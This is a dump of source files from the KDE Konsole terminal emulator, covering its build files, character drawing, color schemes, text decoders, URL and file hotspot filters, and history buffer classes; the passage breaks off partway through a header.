| 2 | set(konsolecharacters_SRCS 3 | CharacterWidth.cpp 4 | Hangul.cpp 5 | LineBlockCharacters.cpp 6 | ExtendedCharTable.cpp 7 | ) 8 | 9 | ecm_qt_declare_logging_category( 10 | konsolecharacters_SRCS 11 | HEADER charactersdebug.h 12 | IDENTIFIER CharactersDebug 13 | CATEGORY_NAME org.kde.konsole.characters 14 | DESCRIPTION "Konsole - characters" 15 | EXPORT KONSOLE 16 | ) 17 | 18 | add_library(konsolecharacters OBJECT ${konsolecharacters_SRCS}) 19 | # Needed to link this static lib to shared libs 20 | set_target_properties(konsolecharacters PROPERTIES POSITION_INDEPENDENT_CODE ON) 21 | generate_export_header(konsolecharacters BASE_NAME konsolecharacters) 22 | target_include_directories(konsolecharacters 23 | PUBLIC ${CMAKE_CURRENT_BINARY_DIR} 24 | INTERFACE ${CMAKE_CURRENT_SOURCE_DIR}) 25 | target_link_libraries(konsolecharacters Qt::Gui) 26 | -------------------------------------------------------------------------------- /src/characters/CharacterWidth.h: -------------------------------------------------------------------------------- 1 | #ifndef CHARACTERWIDTH_H 2 | #define CHARACTERWIDTH_H 3 | 4 | #include 5 | 6 | int characterWidth(uint ucs4); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /src/characters/LineBlockCharacters.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2019 Mariusz Glebocki 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef LINEBLOCKCHARACTERS_H 8 | #define LINEBLOCKCHARACTERS_H 9 | 10 | // Qt 11 | #include 12 | 13 | namespace Konsole 14 | { 15 | /** 16 | * Helper functions for drawing characters from "Box Drawing" and "Block Elements" Unicode blocks. 17 | */ 18 | namespace LineBlockCharacters 19 | { 20 | /** 21 | * Returns true if the character can be drawn by draw() function. 22 | * 23 | * @param ucs4cp Character to test's UCS4 code point 24 | */ 25 | inline static bool canDraw(uint ucs4cp) 26 | { 27 | return (0x2500 <= ucs4cp && ucs4cp <= 0x259F) || (0x2800 <= ucs4cp && ucs4cp <= 0x28FF); 28 | } 29 | 30 | inline static bool isBraille(uint ucs4cp) 31 | { 32 | return (0x2800 <= ucs4cp && ucs4cp <= 0x28ff); 33 | } 34 | 35 | /** 36 | * Returns true if the character is a Legacy Computing Symbol and can be drawn by draw() function. 37 | * 38 | * @param ucs4cp Character to test's UCS4 code point 39 | */ 40 | inline static bool isLegacyComputingSymbol(uint ucs4cp) 41 | { 42 | return (0x1fb00 <= ucs4cp && ucs4cp <= 0x1fb8b); 43 | } 44 | 45 | /** 46 | * Draws character. 47 | * 48 | * @param paint QPainter to draw on 49 | * @param cellRect Rectangle to draw in 50 | * @param chr Character to be drawn 51 | * @param bold Whether the character should be boldface 52 | */ 53 | void draw(QPainter &paint, const QRect &cellRect, const uint &chr, bool bold); 54 | 55 | } // namespace LineBlockCharacters 56 | } // namespace Konsole 57 | 58 | #endif // LINEBLOCKCHARACTERS_H 59 | -------------------------------------------------------------------------------- /src/colorscheme/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | set(konsole_colorscheme_SRCS 3 | hsluv.c 4 | ColorScheme.cpp 5 | ColorSchemeManager.cpp 6 | ColorSchemeWallpaper.cpp 7 | ColorSchemeEditor.cpp 8 | ColorSchemeViewDelegate.cpp 9 | RandomizationRange.cpp 10 | ) 11 | 12 | ki18n_wrap_ui(konsole_colorscheme_SRCS 13 | ColorSchemeEditor.ui 14 | ) 15 | 16 | ecm_qt_declare_logging_category( 17 | konsole_colorscheme_SRCS 18 | HEADER colorschemedebug.h 19 | IDENTIFIER ColorSchemeDebug 20 | CATEGORY_NAME org.kde.konsole.colorScheme 21 | DESCRIPTION "Konsole - colorscheme" 22 | EXPORT KONSOLE 23 | ) 24 | 25 | add_library(konsolecolorscheme 26 | STATIC 27 | ${konsole_colorscheme_SRCS} 28 | ) 29 | # Needed to link this static lib to shared libs 30 | set_target_properties(konsolecolorscheme PROPERTIES POSITION_INDEPENDENT_CODE ON) 31 | 32 | # generate_export_header(konsolecolorscheme BASE_NAME konsolecolorscheme) 33 | target_include_directories(konsolecolorscheme 34 | PUBLIC ${CMAKE_CURRENT_BINARY_DIR} 35 | INTERFACE ${CMAKE_CURRENT_SOURCE_DIR}) 36 | 37 | target_link_libraries( 38 | konsolecolorscheme 39 | ${konsole_LIBS} 40 | ) 41 | -------------------------------------------------------------------------------- /src/colorscheme/ColorSchemeViewDelegate.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2018 Harald Sitter 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef COLORSCHEMEVIEWDELEGATE_H 9 | #define COLORSCHEMEVIEWDELEGATE_H 10 | 11 | #include 12 | 13 | #include 14 | 15 | namespace Konsole 16 | { 17 | /** 18 | * A delegate which can display and edit color schemes in a view. 19 | */ 20 | class ColorSchemeViewDelegate : public QAbstractItemDelegate 21 | { 22 | Q_OBJECT 23 | 24 | public: 25 | explicit ColorSchemeViewDelegate(std::function compositingActiveHelper, QObject *parent = nullptr); 26 | 27 | // reimplemented 28 | void paint(QPainter *painter, const QStyleOptionViewItem &option, const QModelIndex &index) const override; 29 | QSize sizeHint(const QStyleOptionViewItem &option, const QModelIndex &index) const override; 30 | 31 | private: 32 | std::function m_compositingActive; 33 | }; 34 | 35 | } 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /src/colorscheme/RandomizationRange.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 5 | SPDX-FileCopyrightText: 2020-2020 Gustavo Carneiro 6 | 7 | SPDX-License-Identifier: GPL-2.0-or-later 8 | */ 9 | 10 | // Own 11 | #include "RandomizationRange.h" 12 | 13 | // Qt 14 | #include 15 | 16 | namespace Konsole 17 | { 18 | RandomizationRange::RandomizationRange() 19 | : hue(0.0) 20 | , saturation(0.0) 21 | , lightness(0.0) 22 | { 23 | } 24 | 25 | bool RandomizationRange::isNull() const 26 | { 27 | return qFuzzyIsNull(hue) && qFuzzyIsNull(saturation) && qFuzzyIsNull(lightness); 28 | } 29 | 30 | } 31 | -------------------------------------------------------------------------------- /src/colorscheme/RandomizationRange.h: -------------------------------------------------------------------------------- 1 | /* 2 | This source file is part of Konsole, a terminal emulator. 3 | 4 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 5 | SPDX-FileCopyrightText: 2020-2020 Gustavo Carneiro 6 | 7 | SPDX-License-Identifier: GPL-2.0-or-later 8 | */ 9 | 10 | #ifndef RANDOMIZATIONRANGE_H 11 | #define RANDOMIZATIONRANGE_H 12 | 13 | namespace Konsole 14 | { 15 | // specifies how much a particular color can be randomized by 16 | class RandomizationRange 17 | { 18 | public: 19 | RandomizationRange(); 20 | bool isNull() const; 21 | 22 | double hue; 23 | double saturation; 24 | double lightness; 25 | }; 26 | 27 | } 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /src/config-konsole.h.cmake: -------------------------------------------------------------------------------- 1 | #define KONSOLE_VERSION "${RELEASE_SERVICE_VERSION}" 2 | 3 | /* Defined if on DragonFly BSD */ 4 | #cmakedefine01 HAVE_OS_DRAGONFLYBSD 5 | 6 | #cmakedefine01 WITH_X11 7 | 8 | #cmakedefine01 HAVE_DBUS 9 | 10 | /* If defined, remove public access to dbus sendInput/runCommand */ 11 | #cmakedefine01 REMOVE_SENDTEXT_RUNCOMMAND_DBUS_METHODS 12 | 13 | /* If defined, can checksum rectangular areas of the screen */ 14 | #cmakedefine01 ENABLE_DECRQCRA 15 | 16 | #cmakedefine01 HAVE_GETPWUID 17 | 18 | /* Defined if system has the malloc_trim function, which is a GNU extension */ 19 | #cmakedefine01 HAVE_MALLOC_TRIM 20 | -------------------------------------------------------------------------------- /src/decoders/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | 2 | add_library(konsoledecoders 3 | OBJECT 4 | PlainTextDecoder.cpp 5 | HTMLDecoder.cpp 6 | ) 7 | 8 | set_target_properties(konsoledecoders PROPERTIES POSITION_INDEPENDENT_CODE ON) 9 | # generate_export_header(konsoledecoders BASE_NAME konsoledecoders) 10 | target_include_directories(konsoledecoders 11 | PUBLIC ${CMAKE_CURRENT_BINARY_DIR} 12 | INTERFACE ${CMAKE_CURRENT_SOURCE_DIR}) 13 | 14 | # TODO: remove the konsolecolorscheme dependencies 15 | target_link_libraries(konsoledecoders konsolecharacters) 16 | -------------------------------------------------------------------------------- /src/decoders/HTMLDecoder.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2006-2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef HTMLDECODER_H 8 | #define HTMLDECODER_H 9 | 10 | // Konsole decoders 11 | #include "TerminalCharacterDecoder.h" 12 | 13 | #include 14 | class QString; 15 | 16 | namespace Konsole 17 | { 18 | /** 19 | * A terminal character decoder which produces pretty HTML markup 20 | */ 21 | class HTMLDecoder : public TerminalCharacterDecoder 22 | { 23 | public: 24 | /** 25 | * Constructs an HTML decoder using a default black-on-white color scheme. 26 | */ 27 | explicit HTMLDecoder(const QColor *colorTable); 28 | 29 | void decodeLine(const Character *const characters, int count, LineProperty properties) override; 30 | 31 | void begin(QTextStream *output) override; 32 | void end() override; 33 | 34 | private: 35 | void openSpan(QString &text, const QString &style); 36 | void closeSpan(QString &text); 37 | 38 | QTextStream *_output; 39 | QColor _colorTable[TABLE_COLORS]; 40 | bool _innerSpanOpen; 41 | RenditionFlags _lastRendition; 42 | CharacterColor _lastForeColor; 43 | CharacterColor _lastBackColor; 44 | }; 45 | } 46 | 47 | #endif 48 | -------------------------------------------------------------------------------- /src/decoders/PlainTextDecoder.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2006-2008 Robert Knight 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef PLAINTEXTDECODER_H 8 | #define PLAINTEXTDECODER_H 9 | 10 | // Konsole decoders 11 | #include "TerminalCharacterDecoder.h" 12 | 13 | class QTextStream; 14 | template 15 | class QList; 16 | 17 | namespace Konsole 18 | { 19 | /** 20 | * A terminal character decoder which produces plain text, ignoring colors and other appearance-related 21 | * properties of the original characters. 22 | */ 23 | class PlainTextDecoder : public TerminalCharacterDecoder 24 | { 25 | public: 26 | PlainTextDecoder(); 27 | 28 | /** 29 | * Returns of character positions in the output stream 30 | * at which new lines where added. Returns an empty if setTrackLinePositions() is false or if 31 | * the output device is not a string. 32 | */ 33 | QList linePositions() const; 34 | /** Enables recording of character positions at which new lines are added. See linePositions() */ 35 | void setRecordLinePositions(bool record); 36 | 37 | void begin(QTextStream *output) override; 38 | void end() override; 39 | 40 | void decodeLine(const Character *const characters, int count, LineProperty properties) override; 41 | 42 | private: 43 | QTextStream *_output; 44 | 45 | bool _recordLinePositions; 46 | QList _linePositions; 47 | }; 48 | } 49 | 50 | #endif 51 | -------------------------------------------------------------------------------- /src/filterHotSpots/ColorFilter.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2020-2020 Gustavo Carneiro 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #include "ColorFilter.h" 8 | 9 | using namespace Konsole; 10 | 11 | #include "ColorFilterHotSpot.h" 12 | 13 | // This matches: 14 | // - an RGB-style string (e.g., #3e3, #feed) delimited by non-alphanumerics; 15 | // - or, a sequence of ASCII characters (e.g., foobar, Aquamarine, TOMATO). 16 | // See the docs for `QColor::setNamedColor`. 17 | const QRegularExpression 18 | ColorFilter::ColorRegExp(QStringLiteral("((? ColorFilter::newHotSpot(int startLine, int startColumn, int endLine, int endColumn, const QStringList &capturedTexts) 29 | { 30 | QColor color(capturedTexts.at(1)); 31 | 32 | // Make sure we've actually matched a color. 33 | if (!color.isValid()) { 34 | return nullptr; 35 | } 36 | 37 | return QSharedPointer(new ColorFilterHotSpot(startLine, startColumn, endLine, endColumn, capturedTexts, color)); 38 | } 39 | -------------------------------------------------------------------------------- /src/filterHotSpots/ColorFilter.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2020-2020 Gustavo Carneiro 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef COLORFILTER_H 8 | #define COLORFILTER_H 9 | 10 | #include "RegExpFilter.h" 11 | 12 | namespace Konsole 13 | { 14 | class KONSOLEPRIVATE_EXPORT ColorFilter : public RegExpFilter 15 | { 16 | public: 17 | ColorFilter(); 18 | 19 | static const QRegularExpression ColorRegExp; 20 | 21 | protected: 22 | QSharedPointer newHotSpot(int startLine, int startColumn, int endLine, int endColumn, const QStringList &capturedTexts) override; 23 | }; 24 | } 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /src/filterHotSpots/ColorFilterHotSpot.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2020-2020 Gustavo Carneiro 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef COLORFILTERHOTSPOT_H 8 | #define COLORFILTERHOTSPOT_H 9 | 10 | #include "RegExpFilterHotspot.h" 11 | 12 | #include 13 | #include 14 | 15 | namespace Konsole 16 | { 17 | class KONSOLEPRIVATE_EXPORT ColorFilterHotSpot : public RegExpFilterHotSpot 18 | { 19 | public: 20 | ColorFilterHotSpot(int startLine, int startColumn, int endLine, int endColumn, const QStringList &capturedTexts, const QColor &color); 21 | ~ColorFilterHotSpot() override = default; 22 | 23 | void mouseEnterEvent(TerminalDisplay *td, QMouseEvent *ev) override; 24 | void mouseLeaveEvent(TerminalDisplay *td, QMouseEvent *ev) override; 25 | 26 | private: 27 | void tooltipRequested(); 28 | 29 | QColor _color; 30 | QPoint _toolPos; 31 | static bool _canGenerateTooltip; 32 | }; 33 | } 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /src/filterHotSpots/EscapeSequenceUrlFilter.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef ESCAPE_SEQUENCE_URL_FILTER 9 | #define ESCAPE_SEQUENCE_URL_FILTER 10 | 11 | #include "Filter.h" 12 | 13 | #include 14 | 15 | namespace Konsole 16 | { 17 | class Session; 18 | class TerminalDisplay; 19 | 20 | /* This filter is different from the Url filter as there's no 21 | * URL's in the screen. Vt102Emulation will store a vector of 22 | * URL/Text, we need to match if this is in the screen. For that we need a pointer 23 | * for the Vt102Emulation or at least the data structure that holds the information 24 | * so we can create the hotspots. 25 | */ 26 | class KONSOLEPRIVATE_EXPORT EscapeSequenceUrlFilter : public Filter 27 | { 28 | public: 29 | EscapeSequenceUrlFilter(Session *session, TerminalDisplay *display); 30 | 31 | void process() override; 32 | 33 | private: 34 | QPointer _session; 35 | QPointer _window; 36 | }; 37 | } 38 | #endif 39 | -------------------------------------------------------------------------------- /src/filterHotSpots/EscapeSequenceUrlFilterHotSpot.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #include "EscapeSequenceUrlFilterHotSpot.h" 9 | 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | #include 16 | 17 | #include "terminalDisplay/TerminalDisplay.h" 18 | 19 | using namespace Konsole; 20 | 21 | EscapeSequenceUrlHotSpot::EscapeSequenceUrlHotSpot(int startLine, int startColumn, int endLine, int endColumn, const QString &text, const QString &url) 22 | : HotSpot(startLine, startColumn, endLine, endColumn) 23 | , _text(text) 24 | , _url(url) 25 | { 26 | setType(EscapedUrl); 27 | } 28 | 29 | void EscapeSequenceUrlHotSpot::activate(QObject *obj) 30 | { 31 | Q_UNUSED(obj) 32 | 33 | auto *job = new KIO::OpenUrlJob(QUrl(_url)); 34 | job->setUiDelegate(KIO::createDefaultJobUiDelegate(KJobUiDelegate::AutoHandlingEnabled, QApplication::activeWindow())); 35 | job->start(); 36 | } 37 | -------------------------------------------------------------------------------- /src/filterHotSpots/EscapeSequenceUrlFilterHotSpot.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef ESCAPE_SEQUENCE_URL_HOTSPOT 9 | #define ESCAPE_SEQUENCE_URL_HOTSPOT 10 | 11 | #include "HotSpot.h" 12 | 13 | namespace Konsole 14 | { 15 | class KONSOLEPRIVATE_EXPORT EscapeSequenceUrlHotSpot : public HotSpot 16 | { 17 | public: 18 | EscapeSequenceUrlHotSpot(int startLine, int startColumn, int endLine, int endColumn, const QString &text, const QString &url); 19 | void activate(QObject *obj) override; 20 | 21 | private: 22 | QString _text; 23 | QString _url; 24 | }; 25 | 26 | } 27 | #endif 28 | -------------------------------------------------------------------------------- /src/filterHotSpots/FileFilter.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef FILE_FILTER 9 | #define FILE_FILTER 10 | 11 | #include 12 | #include 13 | 14 | #include "RegExpFilter.h" 15 | 16 | namespace Konsole 17 | { 18 | class Session; 19 | class HotSpot; 20 | 21 | /** 22 | * A filter which matches files according to POSIX Portable Filename Character Set 23 | * https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap03.html#tag_03_267 24 | */ 25 | 26 | class KONSOLEPRIVATE_EXPORT FileFilter : public RegExpFilter 27 | { 28 | public: 29 | explicit FileFilter(Session *session, const QString &wordCharacters); 30 | 31 | void process() override; 32 | 33 | void updateRegex(const QString &wordCharacters); 34 | 35 | protected: 36 | QSharedPointer newHotSpot(int, int, int, int, const QStringList &) override; 37 | 38 | private: 39 | QString concatRegexPattern(QString wordCharacters) const; 40 | 41 | QPointer _session; 42 | QString _dirPath; 43 | QList _currentDirContents; 44 | static QRegularExpression _regex; 45 | }; 46 | 47 | } 48 | #endif 49 | -------------------------------------------------------------------------------- /src/filterHotSpots/RegExpFilterHotspot.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #include "RegExpFilterHotspot.h" 9 | 10 | using namespace Konsole; 11 | 12 | RegExpFilterHotSpot::RegExpFilterHotSpot(int startLine, int startColumn, int endLine, int endColumn, const QStringList &capturedTexts) 13 | : HotSpot(startLine, startColumn, endLine, endColumn) 14 | , _capturedTexts(capturedTexts) 15 | { 16 | setType(Marker); 17 | } 18 | 19 | void RegExpFilterHotSpot::activate(QObject *) 20 | { 21 | } 22 | 23 | QStringList RegExpFilterHotSpot::capturedTexts() const 24 | { 25 | return _capturedTexts; 26 | } 27 | -------------------------------------------------------------------------------- /src/filterHotSpots/RegExpFilterHotspot.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef REGEXP_FILTER_HOTSPOT 9 | #define REGEXP_FILTER_HOTSPOT 10 | 11 | #include "HotSpot.h" 12 | #include 13 | 14 | namespace Konsole 15 | { 16 | /** 17 | * Type of hotspot created by RegExpFilter. The capturedTexts() method can be used to find the text 18 | * matched by the filter's regular expression. 19 | */ 20 | class KONSOLEPRIVATE_EXPORT RegExpFilterHotSpot : public HotSpot 21 | { 22 | public: 23 | RegExpFilterHotSpot(int startLine, int startColumn, int endLine, int endColumn, const QStringList &capturedTexts); 24 | 25 | void activate(QObject *object = nullptr) override; 26 | 27 | /** Returns the texts found by the filter when matching the filter's regular expression */ 28 | QStringList capturedTexts() const; 29 | 30 | private: 31 | QStringList _capturedTexts; 32 | }; 33 | 34 | } 35 | #endif 36 | -------------------------------------------------------------------------------- /src/filterHotSpots/TerminalImageFilterChain.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef TERMINAL_IMAGE_FILTER_CHAIN 9 | #define TERMINAL_IMAGE_FILTER_CHAIN 10 | 11 | #include 12 | #include 13 | 14 | #include "../characters/Character.h" 15 | #include "FilterChain.h" 16 | 17 | namespace Konsole 18 | { 19 | class TerminalDisplay; 20 | 21 | /** A filter chain which processes character images from terminal displays */ 22 | class KONSOLEPRIVATE_EXPORT TerminalImageFilterChain : public FilterChain 23 | { 24 | public: 25 | explicit TerminalImageFilterChain(TerminalDisplay *terminalDisplay); 26 | ~TerminalImageFilterChain() override; 27 | 28 | /** 29 | * Set the current terminal image to @p image. 30 | * 31 | * @param image The terminal image 32 | * @param lines The number of lines in the terminal image 33 | * @param columns The number of columns in the terminal image 34 | * @param lineProperties The line properties to set for image 35 | */ 36 | void setImage(const Character *const image, int lines, int columns, const QVector &lineProperties); 37 | 38 | private: 39 | Q_DISABLE_COPY(TerminalImageFilterChain) 40 | 41 | /* usually QStrings and QLists are not supposed to be in the heap, here we have a problem: 42 | we need a shared memory space between many filter objeccts, defined by this TerminalImage. */ 43 | std::unique_ptr _buffer; 44 | std::unique_ptr> _linePositions; 45 | }; 46 | 47 | } 48 | #endif 49 | -------------------------------------------------------------------------------- /src/filterHotSpots/UrlFilter.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef URLFILTER_H 9 | #define URLFILTER_H 10 | 11 | #include "RegExpFilter.h" 12 | #include "konsoleprivate_export.h" 13 | 14 | namespace Konsole 15 | { 16 | /** A filter which matches URLs in blocks of text */ 17 | 18 | // Exported for unittests 19 | class KONSOLEPRIVATE_EXPORT UrlFilter : public RegExpFilter 20 | { 21 | public: 22 | UrlFilter(); 23 | 24 | QSharedPointer newHotSpot(int startLine, int startColumn, int endLine, int endColumn, const QStringList &capturedTexts) override; 25 | 26 | public: 27 | static const QRegularExpression FullUrlRegExp; 28 | static const QRegularExpression EmailAddressRegExp; 29 | 30 | // combined OR of FullUrlRegExp and EmailAddressRegExp 31 | static const QRegularExpression CompleteUrlRegExp; 32 | }; 33 | 34 | } 35 | #endif 36 | -------------------------------------------------------------------------------- /src/filterHotSpots/UrlFilterHotspot.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 2007-2008 Robert Knight 3 | SPDX-FileCopyrightText: 2020 Tomaz Canabrava 4 | 5 | SPDX-License-Identifier: GPL-2.0-or-later 6 | */ 7 | 8 | #ifndef URL_FILTER_HOTSPOT 9 | #define URL_FILTER_HOTSPOT 10 | 11 | #include "RegExpFilterHotspot.h" 12 | 13 | #include 14 | class QAction; 15 | 16 | namespace Konsole 17 | { 18 | /** 19 | * Hotspot type created by UrlFilter instances. The activate() method opens a web browser 20 | * at the given URL when called. 21 | */ 22 | class KONSOLEPRIVATE_EXPORT UrlFilterHotSpot : public RegExpFilterHotSpot 23 | { 24 | public: 25 | UrlFilterHotSpot(int startLine, int startColumn, int endLine, int endColumn, const QStringList &capturedTexts); 26 | ~UrlFilterHotSpot() override; 27 | 28 | QList actions() override; 29 | 30 | /** 31 | * Open a web browser at the current URL. The url itself can be determined using 32 | * the capturedTexts() method. 33 | */ 34 | void activate(QObject *object = nullptr) override; 35 | 36 | private: 37 | enum UrlType { 38 | StandardUrl, 39 | Email, 40 | Unknown, 41 | }; 42 | UrlType urlType() const; 43 | }; 44 | 45 | } 46 | #endif 47 | -------------------------------------------------------------------------------- /src/history/HistoryFile.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef HISTORYFILE_H 8 | #define HISTORYFILE_H 9 | 10 | // Qt 11 | #include 12 | 13 | #include "konsoleprivate_export.h" 14 | 15 | namespace Konsole 16 | { 17 | /* 18 | An extendable tmpfile(1) based buffer. 19 | */ 20 | class HistoryFile 21 | { 22 | public: 23 | HistoryFile(); 24 | virtual ~HistoryFile(); 25 | 26 | virtual void add(const char *buffer, qint64 count); 27 | virtual void get(char *buffer, qint64 size, qint64 loc); 28 | virtual void set(char *buffer, qint64 size, qint64 loc); 29 | virtual void removeLast(qint64 loc); 30 | virtual qint64 len() const; 31 | 32 | // mmaps the file in read-only mode 33 | void map(); 34 | // un-mmaps the file 35 | void unmap(); 36 | 37 | private: 38 | qint64 _length; 39 | QTemporaryFile _tmpFile; 40 | 41 | // pointer to start of mmap'ed file data, or 0 if the file is not mmap'ed 42 | uchar *_fileMap; 43 | 44 | // incremented whenever 'add' is called and decremented whenever 45 | //'get' is called. 46 | // this is used to detect when a large number of lines are being read and processed from the history 47 | // and automatically mmap the file for better performance (saves the overhead of many lseek-read calls). 48 | int _readWriteBalance; 49 | 50 | // when _readWriteBalance goes below this threshold, the file will be mmap'ed automatically 51 | static const int MAP_THRESHOLD = -1000; 52 | }; 53 | 54 | } 55 | 56 | #endif 57 | -------------------------------------------------------------------------------- /src/history/HistoryScroll.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | // Own 8 | #include "HistoryScroll.h" 9 | 10 | #include "HistoryType.h" 11 | 12 | using namespace Konsole; 13 | 14 | HistoryScroll::HistoryScroll(HistoryType *t) 15 | : _historyType(t) 16 | { 17 | } 18 | 19 | HistoryScroll::~HistoryScroll() = default; 20 | 21 | bool HistoryScroll::hasScroll() const 22 | { 23 | return true; 24 | } 25 | -------------------------------------------------------------------------------- /src/history/HistoryScrollNone.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | // Own 8 | #include "HistoryScrollNone.h" 9 | 10 | #include "HistoryTypeNone.h" 11 | 12 | using namespace Konsole; 13 | 14 | // History Scroll None ////////////////////////////////////// 15 | 16 | HistoryScrollNone::HistoryScrollNone() 17 | : HistoryScroll(new HistoryTypeNone()) 18 | { 19 | } 20 | 21 | HistoryScrollNone::~HistoryScrollNone() = default; 22 | 23 | bool HistoryScrollNone::hasScroll() const 24 | { 25 | return false; 26 | } 27 | 28 | int HistoryScrollNone::getLines() const 29 | { 30 | return 0; 31 | } 32 | 33 | int HistoryScrollNone::getMaxLines() const 34 | { 35 | return 0; 36 | } 37 | 38 | int HistoryScrollNone::getLineLen(int) const 39 | { 40 | return 0; 41 | } 42 | 43 | bool HistoryScrollNone::isWrappedLine(int /*lineno*/) const 44 | { 45 | return false; 46 | } 47 | 48 | LineProperty HistoryScrollNone::getLineProperty(int /*lineno*/) const 49 | { 50 | return LineProperty(); 51 | } 52 | 53 | void HistoryScrollNone::setLineProperty(int /*lineno*/, LineProperty /*prop*/) 54 | { 55 | } 56 | 57 | void HistoryScrollNone::getCells(int, int, int, Character[]) const 58 | { 59 | } 60 | 61 | void HistoryScrollNone::addCells(const Character[], int) 62 | { 63 | } 64 | 65 | void HistoryScrollNone::addCellsMove(Character[], int) 66 | { 67 | } 68 | 69 | void HistoryScrollNone::addLine(LineProperty) 70 | { 71 | } 72 | 73 | void HistoryScrollNone::removeCells() 74 | { 75 | } 76 | 77 | int Konsole::HistoryScrollNone::reflowLines(const int, std::map *) 78 | { 79 | return 0; 80 | } 81 | -------------------------------------------------------------------------------- /src/history/HistoryScrollNone.h: -------------------------------------------------------------------------------- 1 | /* 2 | SPDX-FileCopyrightText: 1997, 1998 Lars Doelle 3 | 4 | SPDX-License-Identifier: GPL-2.0-or-later 5 | */ 6 | 7 | #ifndef HISTORYSCROLLNONE_H 8 | #define HISTORYSCROLLNONE_H 9 | 10 | #include "konsoleprivate_export.h" 11 | 12 | #include "HistoryScroll.h" 13 | 14 | namespace Konsole 15 | { 16 | ////////////////////////////////////////////////////////////////////// 17 | // Nothing-based history (no history :-) 18 | ////////////////////////////////////////////////////////////////////// 19 | class KONSOLEPRIVATE_EXPORT HistoryScrollNone : public HistoryScroll 20 | { 21 | public: 22 | HistoryScrollNone(); 23 | ~HistoryScrollNone() override; 24 | 25 | bool hasScroll() const override; 26 | 27 | int getLines() const override; 28 | int getMaxLines() const override; 29 | int getLineLen(const int lineno) const override; 30 | void getCells(const int lineno, const int colno, const int count, Character res[]) const override; 31 | bool isWrappedLine(const int lineno) const override; 32 | LineProperty getLineProperty(const int lineno) const override; 33 | void setLineProperty(const int lineno, LineProperty prop) override; 34 | 35 | void addCells(const Character a[], const int count) override; 36 